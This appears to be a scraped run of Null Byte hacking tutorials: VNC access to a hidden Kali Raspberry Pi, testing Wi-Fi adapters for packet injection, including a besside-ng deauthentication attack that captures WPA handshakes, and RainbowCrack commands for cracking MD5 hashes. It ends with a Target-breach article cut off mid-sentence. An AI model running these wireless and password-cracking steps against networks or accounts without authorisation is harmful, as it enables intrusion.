Trade:Don't Bring a Knife to a GunfightDrive-By Hacking:How to Root a Windows Box by Walking Past ItHow To:Problem with Metasploit reverse_tcp Unknown Command: Exploit.Community Contest:Code the Best Hacking Tool, Win Bragging RightsHack Like a Pro:Hacking Samba on Ubuntu and Installing the Meterpreter |
How to Use VNC to Remotely Access Your Raspberry Pi from Other Devices « Null Byte :: WonderHowTo | With Virtual Network Computing, you don't need to carry a spare keyboard, mouse, or monitor to use yourheadless computer's full graphical user interface (GUI). Instead, you can connect remotely to it through any available computer or smartphone.Virtual Network Computing, better known as VNC, has been around for decades and can be used to control computers running a plethora of different operating systems including Windows, macOS, Linux, and even mobile platforms like Android.By using VNC, you are able to see and control the host machine's desktop from another remote device. In our guide, we'll be usinga headless Raspberry Pi with Kali Linuxas the host machine. VNC relays the keyboard and mouse functions from your device with an interface, like a laptop or smartphone, to the Raspberry Pi while issuing graphical screen updates back to the interface device. The end result is as though you were sitting behind the screen of your Pi, even if it's miles away.Don't Miss:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSThere are many reasons to use VNC to connect to a computer that doesn't come with its own screen or keyboard, such as our Kali Pi. A big reason is having discreet access to a Kali Linux box in environments where a smartphone may be the only tool you can visibly access.In ourKali Pi tutorial, we set up the ability to SSH into the Pi, but this doesn't allow us to runmulti-bash programs like Airgeddonwhich need to open multiple windows to function. Imagine easilycreating Evil Twin networksand wreaking wireless havoc on your iPhone while controlling the full Kali Linux GUI of a discreetly placed Raspberry Pi.This installation process will be similar across the various operating systems that support VNC, which is virtually all of them. In this tutorial, we will download and install the server portion of VNC on our headless Kali Pi, configure it to start at boot so we don't have to configure it each time, and finally install the VNC remote client on your laptop or smartphone you'll be controlling the Kali Pi through.RequirementsComputer orsmartphone:This will be the device you use to remotely connect to the Raspberry Pi.Power supply:The Raspberry Pi uses astandard Micro-USB power supplyfrom any typical phone charger.Ethernet cable(optional):This allows you to bypass wireless authentication by directly interfacing with local networks to which you have physical access.Local area network (LAN):This would be your router or modem if you are in a fixed position or your phone's wireless hotspot if you are mobile. In order for this to work, you need to be able to see your device on the same subnet, so ensure that the Raspberry Pi has an IP address and that you can ping. If you can't, it may mean you are not able to communicate with other devices on the network due to firewall or network settings.Step 1: Update the Headless Kali PiFirst, let's load up Kali on our headless Raspberry Pi. Connect to it eithervia SSH or by accessing it directly. We always want to run theapt-get updatecommand in a terminal window to ensure that all our dependencies are up to date and working properly. Make sure that the Pi and the device you are using to connect to the Pi are on the same wireless or wired local area network.Step 2: Install the VNC Server Software on the Kali PiThere are various versions of VNC, all with different purposes, but in this tutorial, we will be usingTightVNC, as it's well-supported, has plenty of documentation in the Raspberry Pi community, and easy to install on any version of Pi.Open a command window on your headless Raspberry Pi and typeapt-get install tightvncserver. This will download and install the software. When that is complete, typetightvncserver. This enables the TightVNC service, and it will require you to create a password to access your device from another computer. Go ahead and create one now. You should note that TightVNC can only set up to an 8-character password when selecting one.Once you enter a password, it will ask you "Would you like to enter a view-only password (y/n)?" PressN, because aview-only passwordwill only allow you to see what is displayed on the machine, but not to be able to control it.Don't Miss:How to Create Stronger PasswordsStep 3: Configure TightVNC Server on the Kali PiNow, to be able to access our Kali Pi remotely, we need to run TightVNC on it at boot. On our headless Kali Pi, we will navigate to the directory by typingcd /etc/init.d. Next, we want to create a startup script, so you can use whatever text editor you prefer, but I likeVim. If using Vim, typevim /etc/init.d/vncbootto create the startup script. Next, we want to insert the script below into the blank document.#!/bin/sh### BEGIN INIT INFO# Provides: vncboot# Required-Start: $remote_fs $syslog# Required-Stop: $remote_fs $syslog# Default-Start: 2 3 4 5# Default-Stop: 0 1 6# Short-Description: Start VNC Server at boot time# Description: Start VNC Server at boot time.### END INIT INFOUSER=rootHOME=/rootexport USER HOMEcase "$1" instart)echo "Starting VNC Server"#Insert your favoured settings for a VNC session/usr/bin/vncserver :0 -geometry 1280x800 -depth 16 -pixelformat rgb565;;stop)echo "Stopping VNC Server"/usr/bin/vncserver -kill :0;;*)echo "Usage: /etc/init.d/vncboot {start|stop}"exit 1;;esacexit 0Don't Miss:How to Use the Vim Text Editor in LinuxAfter all of that text is in place, we will save and quit by hitting theEsckey and typing:wq!. After the document is closed, we want to add permissions to this new startup script by typingchmod 755 /etc/init.d/vncboot. When that finishes, we want to add the dependencies to it by typingupdate-rc.d vncboot defaults.Reboot the Kali Pi, and the VNC module will be added to the startup boot sequence.Step 4: Download & Install the VNC ClientNow we can use any VNC client we want, but we are going to use RealVNC's "VNC Viewer" because it works on Linux, Android, and it's one of few that also works on Windows and iOS. You can download whichever version you wantfrom the RealVNC website. Once downloaded, install it like you would any other program. In this guide, I'll be using Windows.Step 5: Find the Kali Pi's IP AddressAfter installing the client software, we want to go back into our headless Kali Pi. Again, connect either bySSHing into it or accessing it directly, then open a terminal and typeifconfig. Write down the Kali Pi's local IP address; it should look something like "192.168.0.x."Step 6: Connect to the Kali Pi via Our ComputerNext, let's jump back into our Windows machine and open up the VNC Viewer app. The following directions may be different if you are using it on another operating system.In VNC Viewer, click the "File" option, and then click the "New Connection" tab. Now, let's add the Kali Pi's IP address to theVNC Serverfield. You can save this as any name that will help you remember this device in theNamefield. Press "OK" to finish and save the settings.Double-click on your new connection, and if successful, a window will pop up saying "The connection to this VNC server will not be encrypted." Because of this, it is not recommended to use this outside of your network if you are expecting privacy. Just press the "Continue" button. Another window will pop up asking for the password we created in the second step.Finally, bam! If the connection was successful, you should see a screen like the one below.Now we can work on our Kali Pi without the need to bring a separate keyboard, mouse, and monitor. These steps should be similar across the various operating systems RealVNC supports, but there will likely be small differences between the desktop and mobile versions. You can VNC into your Kali Pi any time both your Pi and the device you wish to control it with are on the same Wi-Fi or Ethernet local area network.If you want to do this on an iPhone, your display will look something like below.This is just one basic foundation of the toolset that compliments our hacking environment. In practice, VNC allows us to more quickly access our headless hacking computer from any device we have handy, allowing us to deploy Kali Linux tools in the most inconspicuous way possible.If you have any questions, you can leave a comment here or send a message on Twitter at@Nitroux2. And don't forget to stay connected and check out our social media accounts!Don't Miss:Turn Any Phone into a Hacking Super Weapon with the SonicFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Nitrous/Null ByteRelatedHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxRaspberry Pi:Physical Backdoor Part 1The Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Build a Portable Pen-Testing Pi BoxHow To:Run Windows 7 on a Nokia n900 SmartphoneHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Turn Any Phone into a Hacking Super Weapon with the SonicHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyRaspberry Pi:Hacking PlatformHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Create a Wireless Spy Camera Using a Raspberry PiHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Install VNC remotely on a Windows XP PCHow To:Remotely Control Computers Over VNC Securely with SSHMinecraft:Pi Edition, Coming Soon to a Raspberry Pi Near You |
How to Check if Your Wireless Network Adapter Supports Monitor Mode & Packet Injection « Null Byte :: WonderHowTo | Tohack a Wi-Fi network, you needyour wireless cardto support monitor mode and packet injection. Not all wireless cards can do this, but you can quickly test one you already own for compatibility, and you can verify that the chipset inside an adapter you're thinking of purchasing will work for Wi-Fi hacking.Wireless cards supporting monitor mode and packet injection enable an ethical hacker to listen in on other Wi-Fi conversations and even inject malicious packets into a network. The wireless cards in most laptops aren't very good at doing anything other than what's required to establish a basic Wi-Fi connection.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2018While some internal cards may offer some support for monitor mode, it's more common to find that your card isn't supported for tools included in Kali Linux. I found the card in a Lenovo laptop I use to support both, so sometimes it's possible to save by using your internal laptop card for practice when appropriate. If the internal one doesn't support the modes, an external one will be needed.External network adapters average between $15 and $40 per card. While this may not seem like much, making a mistake in purchasing a network adapter can add up quickly and be discouraging when first learning about Wi-Fi security.These devices may seem a little complicated at first, but they're pretty simple. Each wireless network adapter has a chip inside of it that contains its own CPU. This chip, along with the other circuitry in the adapter, translates signals from your computer into radio pulses called "packets," which transfer information between devices. Choosing a Wi-Fi adapter requires you to know about a few things, such as the chipset inside, the antenna in use, and the types of Wi-Fi that the card support.Jump to a Section:Check a Perspective Card|Test an Existing Card|Try an Attack Out to Make Sure It WorksOption 1: Check an Adapter's Chipset Before You BuyIf you haven't yet purchased the wireless network card you're considering, there are several ways you can check to see if it supports monitor mode and packet injection before committing to a purchase. Before we dive into those, however, you need to know the difference between manufacturers, so there's no confusion.Identifying the Card's SellerThe seller is, you guess it, the manufacturer selling the network adapter. Examples include TP-link, Panda Wireless, or Alfa. These manufacturers are responsible for the physical layout and design of the adapter but do not produce the actual CPU that goes inside the adapter.Identifying the Chip MakerThe second manufacturer is the one that makes the chip that powers the adapter. The chip is what controls the behavior of the card, which is why it's much more important to determine the chipset manufacturer than the adapter manufacturer. For example, Panda Wireless cards frequently use Ralink chipsets, which is the more critical piece of information to have.Determining the ChipsetCertain chipsets are known to work without much or any configuration needed for getting started, meaning that you can expect an adapter containing a particular supported chipset to be an easy choice.A good place to start when looking up the chipset of a wireless network adapter you're considering buying is Aircrack-ng's compatibility pages. Theolder "deprecated" versionstill contains a lot of useful information about the chipsets that will work with Aircrack-ng and other Wi-Fi hacking tools.Thenewer versionof the Aircrack-ng guide is also useful for explaining the way to check newer cards for compatibility, although it lacks an easy-to-understand table for compatibility the way the deprecated page does.Aside from Aircrack-ng's website, you can often look up card details on a resource like theWikiDevidatabase, which allows you to look up details on most wireless network adapters. Another resource is thelist of officially supported Linux drivers, which includes a handy table showing which models support monitor mode.Atheros chipsets are especially popular, so if you suspect your device contains an Atheros chipset, you can check anAtheros-only guide.Having a hard time finding the chipset of a card you're looking for? You can find a picture of the FCC ID number on the sticker of the device. The number can be input into websites likeFCCID.iowhich include internal photos of the chipsets in use.Once you've determined the chipset of the device you're considering, you should be able to predict its behavior. If the chipset of the wireless network adapter you're considering is listed as supporting monitor mode, you should be good to go.Knowing Which Card Is Worth ItTo make things easy on you, the following chipsets are known to support monitor mode and packet injection per our testing:Atheros AR9271:TheAlfa AWUS036NHAis my favorite long-range network adapter and the standard by which I judge other long-range adapters. It's stable, fast, and a well-supported b/g/n wireless network adapter. There's also theTP-Link TL-WN722N, a favorite for newbies and experienced hackers alike. It's a compact b/g/n adapter that has one of the cheapest prices but boasts surprisingly impressive performance. That being said, only v1 will work with Kali Linux since v2 uses a different chipset.Ralink RT3070:This chipset resides inside a number of popular wireless network adapters. Of those, theAlfa AWUS036NHis a b/g/n adapter with an absurd amount of range. It can be amplified by the omnidirectional antenna and can be paired with aYagiorPaddleantenna to create a directional array. For a more discreet wireless adapter that can be plugged in via USB, theAlfa AWUS036NEHis a powerful b/g/n adapter that's slim and doesn't require a USB cable to use. It has the added advantage of retaining its swappable antenna. If you need a stealthier option that doesn't look like it could hack anything, you might consider the g/nPanda PAU05. While small, it's a low profile adapter with a strong performance in the short and medium range, a reduced range for when you want to gather network data without including everything within several blocks.Ralink RT3572:While the previous adapters have been 2.4 GHz only, theAlfa AWUS051NH v2is a dual-band adapter that is also compatible with 5 GHz networks. While slightly pricier, the dual-band capacity and compatibility with 802.11n draft 3.0 and 802.11a/b/g wireless standards make this a more advanced option.Realtek 8187L (Wireless G adapters):TheAlfa AWUS036HUSB 2.4 GHz adapters use this older chipset that is less useful and will not pick up as many networks. These cards still will work against some networks, thus are great for beginners, as there are a ton around for cheap.Realtek RTL8812AU:Supported in 2017, theAlfa AWUS036ACHis a beast, with dual antennas and 802.11ac and a, b, g, n compatibility with 300 Mbps at 2.4 GHz and 867 Mbps at 5 GHz. It's one of the newest offerings that are compatible with Kali, so if you're looking for the fastest and longest range, this would be an adapter to consider. To use it, you may need to first run "apt update" followed by "apt install realtek-rtl88xxau-dkms" which will install the needed drivers to enable packet injection.Aircrack-ng alsolists a few cardsas best in class on its site, so if you're interested in more suggestions, check it out (some of the ones listed above are also on its list). Also, check out ourhead-to-head test of wireless network adapterscompatible with Kali Linux.More Info:Select a Field-Tested Kali Linux Compatible Wireless AdapterOn Amazon:Alfa AWUS036NHA Wireless B/G/N USB AdapterOther Considerations in Adapter SelectionAside from the chipset, another consideration is the frequency on which the adapter operates. While most Wi-Fi devices, including IoT devices, operate on the older 2.4 GHz band, many newer devices also offer 5 GHz networks. These networks are generally faster and can transfer more data, but are also usually paired with a 2.4 GHz network. The question when purchasing then becomes, is it worth it to invest the extra money in a 2.4/5 GHz antenna that can detect (and attack) both?In many cases, unless the point of your attack is to probe all of the available networks in an area, a 2.4 GHz card will be fine. If 5 GHz is important to you, there are many 5 GHz Wi-Fi cards that support monitor mode and packet injection, an example being thePanda Wireless Pau09.On Amazon:Panda Wireless PAU09 N600 Dual Band (2.4 GHz / 5 GHz) Wireless N USB AdapterAnother important factor is determining whether you need to mount a specialized antenna. While most omnidirectional antennas will be fine for a beginner, you may want to switch to an antenna with a directional pattern to focus on a particular network or area rather than everything in a circle around you. If this is the case, look for adapters with antennas that can be removed and swapped with a different type.Option 2: Test Your Existing Wireless Network AdapterIf you already have a wireless network adapter, you can check pretty easily if the chipset inside supports monitor mode and packet injection. To start, plug in the network adapter and then open a terminal window. You should be able to determine the chipset of the network adapter by simply typinglsusb -vvinto the terminal window and looking for an output similar to below.lsusb -vv
Bus 001 Device 002: ID 148f:5372 Ralink Technology, Corp. RT5372 Wireless Adapter
Device Descriptor:
bLength 18
bDescriptorType 1
bcdUSB 2.00
bDeviceClass 0 (Defined at Interface level)
bDeviceSubClass 0
bDeviceProtocol 0
bMaxPacketSize0 64
idVendor 0x148f Ralink Technology, Corp.
idProduct 0x5372 RT5372 Wireless Adapter
bcdDevice 1.01
iManufacturer 1 Ralink
iProduct 2 802.11 n WLAN
iSerial 3 (error)
bNumConfigurations 1In my example, I'm looking at aPanda Wireless PAU06network adapter, which reports having an RT5372 chipset from Ralink, which is listed as supported! Once you know the chipset of your card, you should have a rough idea of what it can do.Testing Your Adapter's AbilitiesNow, let's move on to more active testing of the adapter's capabilities.Step 1: Put Your Card in Monitor ModeFor this step, we'll break out Airmon-ng, but before that, you'll need to locate the name of the interface. On your system, run the commandifconfig(orip a) to see a list of all devices connected. On Kali Linux, your card should be listed as something like wlan0 or wlan1.ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:fe59:1b51 prefixlen 64 scopeid 0x20<link>
ether 86:09:15:d2:9e:96 txqueuelen 1000 (Ethernet)
RX packets 700 bytes 925050 (903.3 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 519 bytes 33297 (32.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 20 bytes 1116 (1.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20 bytes 1116 (1.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether EE-A5-3C-37-34-4A txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0Once you have the name of the network interface, you can attempt to put it into monitor mode by typingairmon-ng start wlan0(assuming your interface name is wlan0). If you see the output below, then your card appears to support wireless monitor mode.airmon-ng start wlan0
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'
PID Name
428 NetworkManager
522 dhclient
718 wpa_supplicant
PHY Interface Driver Chipset
phy1 wlan0 rt2800usb Ralink Technology, Corp. RT5372
(mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]wlan0mon)
(mac80211 station mode vif disabled for [phy1]wlan0)You can confirm the results by typingiwconfig, and you should see the name of your card has changed to add a "mon" at the end of your card's name. It should also report "Mode:Monitor" if it has been successfully put into monitor mode.iwconfig
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short long limit:2 RTS thr:off Fragment thr:off
Power Management:offStep 2: Test Your Card for Packet InjectionTesting for packet injection is fairly straightforward to test thanks to tools included in Airplay-ng. After putting your card into monitor mode in the last step, you can run a test to see if the wireless network adapter is capable of injecting packets into nearby wireless networks.Starting with your interface in monitor mode, make sure you are in proximity to a few Wi-Fi networks so that the adapter has a chance of succeeding. Then, in a terminal window, typeaireplay-ng --test wlan0monto start the packet injection test.Don't Miss:Disable Cameras on Any Wireless Network with Aireplay-ngaireplay-ng --test wlan0mon
12:47:05 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE) on channel 7
12:47:05 Trying broadcast probe requests...
12:47:06 Injection is working!
12:47:07 Found 1 AP
12:47:07 Trying directed probe requests...
12:47:07 AA:BB:CC:DD:EE - channel: 7 - 'Dobis'
12:47:08 Ping (min/avg/max): 0.891ms/15.899ms/32.832ms Power: -21.72
12:47:08 29/30: 96%If you get a result like above, then congratulations, your network card is successfully injecting packets into nearby networks. If you get a result like the one below, then your card may not support packet injection.aireplay-ng --test wlan0mon
21:47:18 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE) on channel 6
21:47:18 Trying broadcast probe requests...
21:47:20 No Answer...
21:47:20 Found 1 AP
21:47:20 Trying directed probe requests...
21:47:20 74:85:2A:97:5B:08 - channel: 6 - 'Dobis'
21:47:26 0/30: 0%Step 3: Test with an Attack to Make Sure Everything WorksFinally, we can put the above two steps into practice by attempting to capture a WPA handshake usingBesside-ng, a versatile and extremely useful tool for WPA cracking, which also happens to be a great way of testing if your card is able to attack a WPA network.Don't Miss:Automating Wi-Fi Hacking with Besside-ngTo start, make sure you have a network nearby you have permission to attack. By default, Besside-ng will attack everything in range, and the attack is very noisy. Besside-ng is designed to scan for networks with a device connected, then attack the connection by injecting deauthentication packets, causing the device to momentarily disconnect. When it reconnects, a hacker can use the information exchanged by the devices to attempt to brute-force the password.Type thebesside-ng -R 'Target Network' wlan0moncommand, with the-Rfield replaced with the name of your test network. It will begin attempting to grab a handshake from the victim network. For this to work, there must be a device connected to the Wi-Fi network you're attacking. If there isn't a device present, then there is no one to kick off the network so you can't try to capture the handshake.besside-ng -R 'Target Network' wlan0mon
[21:08:54] Let's ride
[21:08:54] Resuming from besside.log
[21:08:54] Appending to wpa.cap
[21:08:54] Appending to wep.cap
[21:08:54] Logging to besside.logIf you get an output like below, then congratulations! Your card is capable of grabbing handshakes from WPA/WPA2 networks. You can also check outour guide on Besside-ngto understand more about what a Besside-ng attack is capable of.besside-ng wlan0mon
[03:20:45] Let's ride
[03:20:45] Resuming from besside.log
[03:20:45] Appending to wpa.cap
[03:20:45] Appending to wep.cap
[03:20:45] Logging to besside.log
[03:20:56] TO-OWN [DirtyLittleBirdyFeet*, Sonos*] OWNED []
[03:21:03] Crappy connection - Sonos unreachable got 0/10 (100% loss) [-74 dbm]
[03:21:07] Got necessary WPA handshake info for DirtyLittleBirdyFeet
[03:21:07] Run aircrack on wpa.cap for WPA key
[03:21:07] Pwned network DirtyLittleBirdyFeet in 0:04 mins:sec
[03:21:07] TO-OWN [Sonos*] OWNED [DirtyLittleBirdyFeet*]A Flexible Network Adapter Is Key to Wi-Fi HackingA powerful wireless network adapter with the ability to inject packets and listen in on Wi-Fi conversations around it gives any hacker an advantage over the airwaves. It can be confusing picking the right adapter for you, but by carefully checking the chipset contained, you can ensure you won't be surprised when you make your purchase. If you already have an adapter, putting it through its paces before using it in the field is recommended before you rely on it for anything too important.I hope you enjoyed this guide to testing your wireless network cards for packet injection and wireless monitor mode. If you have any questions about this tutorial on Kali-compatible wireless network adapters or you have a comment, feel free to reach me on Twitter@KodyKinzie.Don't Miss:Hack Wi-Fi & Networks More Easily with Lazy ScriptFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Hack WPA WiFi Passwords by Cracking the WPS PINGuide:Wi-Fi Cards and ChipsetsHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Spy on Network Relationships with Airgraph-NgHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Hack WiFi Using a WPS Pixie Dust AttackHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Hack Wi-Fi Networks with BettercapHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Crack Wi-Fi Passwords—For Beginners!How to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Get Free Wi-Fi from Hotels & MoreHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Get Packet Injection Capable Drivers in LinuxHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelHow To:Bypass a Local Network Proxy for Free InternetHow To:Use Wireshark to Steal Your Own Local Passwords |
Rainbow Tables: How to Create & Use Them to Crack Passwords « Null Byte :: WonderHowTo | More password cracking action fromNull Byte! Today we aren't going to be cracking passwords per se, rather, we are going to learn the basics of generatingrainbow tablesand how to use them. First, let's go over how passwords are stored and recovered.Passwords are normally stored inone-way hashes. When a password is created, the user types the password in what is called "plain text", since it is in a plain, unhashed form. However, after a password is made, the computer stores a one-way hash of the password that obfuscates it. Hashes are made to be one-way, which means algorithmic reversal is impossible. This means we have to crack those hashes!Normally, when you crack a password hash, your computer computes a word, generates the hash, then compares to see if there is a match. If there is, the password is correct; if not, it will keep guessing. Rainbow tables work on the principle of a time-memory trade-off. This means that hashes are pre-generated by a computer and stored in a largerainbow tablefile with all of the hashes and words that correspond to them. This method works especially well for people with slow processors, since you don't have to compute much. Rainbow cracking can greatly reduce the amount of time it takes to crack a password hash, plus you can keep the tables, so you only have to generate them once!RequirementsWindows, Mac OSX, or Linux OSAdmin, or root accessStep1Download & Install RainbowCrackText inboldmeans it is a terminal command (NT, OSX, or *nix). However, for this step, all commands in bold are for Linux only. The other operating systems use a GUI.RainbowCrack is the tool that we are going to be using to generate and use rainbow tables.DownloadRainbowCrack.Extract the archive (Windows and Mac users extract via GUI).tar zxvf <rainbowcrack>Change to the new directory that has been made from extracting RainbowCrack.cd <new dir>Configure the installation../configureNow, compile the source code for installation.make && sudo make installStep2Generate a Rainbow Table and Crack with ItNow, lets generate a table that consists of all the alpha-lowercase and numeral characters. We want these to use the MD5 hash algorithm and be between 4-6 characters. All OS users must open a terminal, or a command prompt and be located in the RainbowCrack working directory.In your working directory, issue the following command to start table generation.rtgen md5 loweralpha-numeric 1 7 0 3800 33554432 0Sort the tables so the processor can access them quicker. The table files will be in the current directory. Run the following command on each of the files in the directory ending in*.rt.rtsort <*.rt file>This will take about 6 hours to generate on a single core processor. After you generate the table, let's practice using it on a word.Let's hash the word "burger" with the MD5 algorithm and then use our tables to crack it. Notice thebis in lowercase. Here is our result:6e69685d22c94ffd42ccd7e70e246bd9Crack the hash with the following command, along with the path to your file.rcrack <path-to-rainbow-table.rt> -h6e69685d22c94ffd42ccd7e70e246bd9It will return your hash. You'll see it is a lot faster than if you were try to bruteforce the six character hash.If you have any questions or want to talk, stop by ourIRCchannel or start topics in theforums.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byJD HancockRelatedHow To:Recover Passwords for Windows PCs Using OphcrackHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Create Rainbow Tables for Hashing Algorithms Like MD5, SHA1 & NTLMHow To:Hack MD5 passwords with Cain and AbelHack Like a Pro:How to Crack Passwords, Part 4 (Creating a Custom Wordlist with Crunch)How to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)News:'Beast' Cracks Billions of Passwords in SecondsAdvice from a Real Hacker:How to Create Stronger PasswordsHack Like a Pro:How to Crack User Passwords in a Linux SystemHow To:Creating Unique and Safe Passwords, Part 1 Using WordlistsNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Recover a Windows Password with OphcrackHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Sneak into Your Roommate's Computer by Bypassing the Windows Login ScreenNews:FarmVille German Limited Edition ThemeNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:GPU Accelerate Cracking Passwords with HashcatHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingNews:Rainbow ChickensHow To:Recover WinRAR and Zip PasswordsMastering Security, Part 1:How to Manage and Create Strong PasswordsNews:Rainbows End; A Sci-Fi Book That Has a Lot of Agumented RealityNews:Rainbow CityNews:Rainbow Cake With Marshmallow CloudsRECIPE:Mario Mushroom Cake Filled With RainbowsHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseRECIPE:Rainbow M&M Cake With Fluffy White CloudsHow To:Hack Mac OS X Lion PasswordsGoodnight Byte:Coding a Web-Based Password Cracker in PythonNews:Poo Swing |
How Hackers Stole Your Credit Card Data in the Cyber Attack on Target Stores « Null Byte :: WonderHowTo | Welcome back, my fledgling hackers!As nearly everyone has heard, Target Corporation, one of the largest retailers in the U.S. and Canada, was hacked late last year and potentially 100 million credit cards have been compromised. Happening just before Christmas, it severely dampened Target's Christmas sales, reputation, and stock price (the company's value has fallen by $5B).Although the details are still rather sketchy at this time, I'll try to fill you in on what we've learned about this attack from leaked details. Target and its forensic investigators at iSight still haven't divulged any specifics, but some reliable sources have info on what actually transpired. I will try to make some sense from those sketchy details to reveal what probably happened.The Target Attack from the HeadlinesOn December 19th, 2013, Targetannouncedthat the Point of Sale (POS) systems in their "brick and mortar" stores had been compromised. Interestingly, their website Target.com was not compromised. Apparently, someone had placed a zero-day exploit on the POS terminals and was gathering credit card and personal information.Some immediately suspected a card skimmer device—those small devices that can unobtrusively be placed on credit card scanning machines (ATMs being a huge target) to capture the magnetic data on the strip of the card.This theory was immediately dispelled by the fact that nearly every POS system in all of Target's stores were compromised, meaning that a physical device would've had to been placed in over 10,000 physical locations. That seems highly unlikely.Here's What We Know Now About the Target BreachFirst, the attack seems to have come from Eastern Europe, probably Russia or the Ukraine. Although forensic investigators can trace the IP address to that region, attackers often "bounce" their attack off proxy servers in that part of the world. This would make it look like it came from there, but it could just as easily have come from Peoria, IL or anywhere else in North America.That being said, much of the cyber-crime related to credit card theft comes from the former Soviet Union Republics largely because they are beyond the reach of U.S. and other nations' law enforcement. Also, they do not have extradition treaties with the 